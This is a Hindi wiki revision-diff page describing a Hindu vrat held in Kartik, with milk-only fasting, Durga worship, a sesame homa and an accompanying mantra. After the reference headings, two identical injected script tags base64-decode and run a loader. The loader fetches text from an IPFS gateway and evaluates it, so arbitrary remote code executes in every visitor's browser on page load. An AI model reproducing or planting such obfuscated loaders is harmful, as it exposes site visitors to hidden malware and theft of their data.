व्यवस्थापन (वार्ता | योगदान) छो (Text replace - " {{लेख प्रगति |आधार=आधार1 |प्रारम्भिक= |माध्यमिक= |पूर्णता= |शोध= }}" to "") |
आदित्य चौधरी (वार्ता | योगदान) छो (Text replace - "उल्लखित" to "उल्लिखित") |
||
पंक्ति 1: | पंक्ति 1: | ||
*[[भारत]] में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में | *[[भारत]] में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लिखित [[हिन्दू धर्म]] का एक व्रत संस्कार है। | ||
*यह व्रत [[कार्तिक]] में होता है। | *यह व्रत [[कार्तिक]] में होता है। | ||
*कर्ता केवल दूध एवं रात्रि में शाक सब्जी मात्र खाता है। | *कर्ता केवल दूध एवं रात्रि में शाक सब्जी मात्र खाता है। |
17:46, 25 फ़रवरी 2011 का अवतरण
- भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लिखित हिन्दू धर्म का एक व्रत संस्कार है।
- यह व्रत कार्तिक में होता है।
- कर्ता केवल दूध एवं रात्रि में शाक सब्जी मात्र खाता है।
- इसमें देवी दुर्गा की पूजा की जाती है।
- तिल से होम किया जाता है,- 'जयन्ती मंगला काली भदकाली कपालिनी। दुर्गा क्षमा धात्री स्वधा स्वाहा नमोस्तु ते।।' मन्त्र के साथ में जाप किया जाता है।
- इससे सभी पापों, रोगों एवं भयों से मुक्ति हो जाती है।[1]
- प्रकीर्णक व्रत, गौरी एवं शम्भु, जनार्दन एवं लक्ष्मी तथा सूर्य एवं उसकी पत्नी छाया की मूर्तियों की पूजा की जाती है।
- श्वेत पुष्पों से सम्मान देने के उपरान्त धूप, घण्टी एवं दीप का दान किया जाता है।
- इससे दिव्य रूप प्राप्त होता है।[2]
- किसी भी मास की पूर्णिमा पर, कर्ता केवल दूध पर रहता है तथा गोदान करने से लक्ष्मी के लोक में पहुँचता है।[3]
टीका टिप्पणी और संदर्भ
अन्य संबंधित लिंक
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>